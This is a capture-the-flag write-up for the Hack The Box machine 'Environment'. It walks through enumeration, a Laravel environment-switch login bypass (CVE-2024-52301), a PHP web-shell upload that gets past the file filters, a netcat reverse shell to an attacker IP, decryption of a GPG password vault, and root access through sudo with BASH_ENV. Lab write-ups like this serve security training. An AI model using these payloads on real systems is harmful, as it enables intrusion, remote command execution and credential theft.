HTB - Environment
HTB - Environment⌗
Enumeration:⌗
# Nmap 7.95 scan initiated Fri May 23 16:02:46 2025 as: /usr/lib/nmap/nmap -v -p - -Pn -T4 -A -oN nmaptcp environment.htb
Warning: 10.10.11.67 giving up on port because retransmission cap hit (6).
Nmap scan report for environment.htb (10.10.11.67)
Host is up (0.063s latency).
Not shown: 65444 closed tcp ports (reset), 89 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_ 256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open http nginx 1.22.1
|_http-title: Save the Environment | environment.htb
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.22.1
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Uptime guess: 6.230 days (since Sat May 17 10:43:50 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1720/tcp)
HOP RTT ADDRESS
1 21.92 ms 10.10.14.1
2 21.70 ms environment.htb (10.10.11.67)
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri May 23 16:15:22 2025 -- 1 IP address (1 host up) scanned in 755.87 seconds
User exploit⌗
Looking at the nmap scan, we see two open ports, 22 (SSH) and 80 (Web). The web port hosts a Laravel
application that doesn’t contain much at first glance. We can find a few interesting folders using gobuster
.
$ gobuster dir -u http://environment.htb -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt --exclude-length 153
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://environment.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes: 404
[+] Exclude Length: 153
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/logout (Status: 302) [Size: 358] [--> http://environment.htb/login]
/login (Status: 200) [Size: 2391]
/upload (Status: 405) [Size: 244852]
/mailing (Status: 405) [Size: 244854]
/up (Status: 200) [Size: 2125]
/storage (Status: 301) [Size: 169] [--> http://environment.htb/storage/]
/build (Status: 301) [Size: 169] [--> http://environment.htb/build/]
/vendor (Status: 301) [Size: 169] [--> http://environment.htb/vendor/]
Progress: 62281 / 62282 (100.00%)
===============================================================
Finished
===============================================================
The /login
path reveals a login form for a Marketing Management Portal
.
Sending it through burp
and playing around with the parameters, we notice that we can generate a detailed error message when passing a value that is not True
or False
to the remember
parameter.
This gives us two important pieces of information. First, we can see the version of Laravel
(11.30.0). Second, we see the following PHP code.
...
if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs
$request->session()->regenerate();
$request->session()->put('user_id', 1);
return redirect('/management/dashboard');
}
...
This code seems to completely bypass authentication when the environment is set to preprod
. This is good news, because looking for CVEs affecting our version of Laravel
, we can find CVE-2024-52301
(watch out, it affects multiple major versions of the framework, so it’s a little bit harder to find using an exact version search).
When the register_argc_argv php directive is set to on and users call any URL with a special crafted query string, they are able to change the environment used by the framework when handling the request. The vulnerability fixed in 6.20.45, 7.30.7, 8.83.28, 9.52.17, 10.48.23, and 11.31.0. The framework now ignores argv values for environment detection on non-cli SAPIs.
Using this, we can easily bypass the login form by sending the following request.
POST /login?--env=preprod HTTP/1.1
Host: environment.htb
Content-Type: application/x-www-form-urlencoded
Cookie: XSRF-TOKEN=...; laravel_session=...
Content-Length: ...
_token=...&email=asd%40asd.asd&password=asd&remember=True
This gives us access to a pretty bare bone management interface, with a functionality to change our profile picture.
The uploaded files are saved in the /storage/files/
folder. Trying to upload a PHP file will unfortunately fail because of restrictions on the type of files we can upload. By trial and error, we can find that the first restriction checks the content of the file. This we can easily bypass by adding GIF87a
at the beginning of our file to trick the app in thinking this is a GIF file. The second restriction is placed on the file name itself, which blocks anything ending in .php
. After a lot of fuzzing and trial and errors (and consulting with my fellow hacker Brainmoustache
), we find that adding a trailing .
bypasses this check completely. This allows us to craft the following request and to upload our shell.
POST /upload HTTP/1.1
Host: environment.htb
Content-Type: multipart/form-data; boundary=---------------------------371558183124848048602298201638
Content-Length: 497
Cookie: XSRF-TOKEN=...; laravel_session=...
-----------------------------371558183124848048602298201638
Content-Disposition: form-data; name="_token"
hPcvC2163kErwLumvg67Jh69RF93trwLTpyskDYy
-----------------------------371558183124848048602298201638
Content-Disposition: form-data; name="upload"; filename="dax.php."
Content-Type: image/gif
GIF87a
<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>
-----------------------------371558183124848048602298201638--
Note that setting the environment to anything other than production
using the above CVE in the management interface will allow us to see phpinfo()
, which can help us navigate any blocked PHP commands. There was none in our case, but still. We can then access this file through /storage/files/dax.php
and use the cmd
query parameter to send commands. Sending the following query gives us an actual shell as www-data
.
GET /storage/files/dax7.php?cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|sh+-i+2>%261|nc+10.10.14.135+5555+>/tmp/fd HTTP/1.1
...
Now with our shell access we can start snooping around to see if anything looks out of place. The first thing that stands out is the /home/hish/
folder which is readable to us, and contains the user.txt
flag.
Root exploit⌗
Inside the /home/hish/
folder, we also find a suspicious backup/
folder containing a file keyvault.gpg
. Since the .gnupg/
folder is also readable, we can easily decrypt the keyvault by copying the whole gnupg folder to our own home directory and using gpg.
$ gpg --decrypt keyvault.gpg
gpg: WARNING: unsafe permissions on homedir '/home/dax/.gnupg'
gpg: encrypted with rsa2048 key, ID B755B0EDD6CFCFD3, created 2025-01-11
"hish_ <hish@environment.htb>"
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!
We can use the ENVIRONMENT.HTB
password to log into SSH as hish
and run sudo -l
to see if we can run any command as root
.
$ sudo -l
[sudo] password for hish:
Matching Defaults entries for hish on environment:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty
User hish may run the following commands on environment:
(ALL) /usr/bin/systeminfo
Not only can we run /usr/bin/systeminfo
as root, but we also get to set the ENV
and BASH_ENV
environment variables when doing it. The systeminfo
file is a simple bash script.
#!/bin/bash
echo -e "\n### Displaying kernel ring buffer logs (dmesg) ###"
dmesg | tail -n 10
echo -e "\n### Checking system-wide open ports ###"
ss -antlp
echo -e "\n### Displaying information about all mounted filesystems ###"
mount | column -t
echo -e "\n### Checking system resource limits ###"
ulimit -a
echo -e "\n### Displaying loaded kernel modules ###"
lsmod | head -n 10
echo -e "\n### Checking disk usage for all filesystems ###"
df -h
There is not much to exploit here, but both environment variables that we are allowed to pass are interesting.
BASH_ENV: If this variable is set when Bash is invoked to execute a shell script, its value is expanded and used as the name of a startup file to read before executing the script. See Bash Startup Files.
ENV: Expanded and executed similarly to BASH_ENV (see Bash Startup Files) when an interactive shell is invoked in POSIX Mode (see Bash POSIX Mode).
We can use this in a number of ways, but the following simple solution gets us the root flag.
BASH_ENV='$(cp /root/root.txt /var/tmp/dax/root.txt;chmod 777 /var/tmp/dax/root.txt)' sudo /usr/bin/systeminfo
Resources:⌗
Hyperlink | Info |
---|---|
https://github.com/laravel/laravel | Laravel |
https://github.com/OJ/gobuster | Gobuster |
https://github.com/Nyamort/CVE-2024-52301 | CVE-2024-52301 POC |
https://www.gnu.org/software/bash/manual/bash.html | Bash Reference Manual |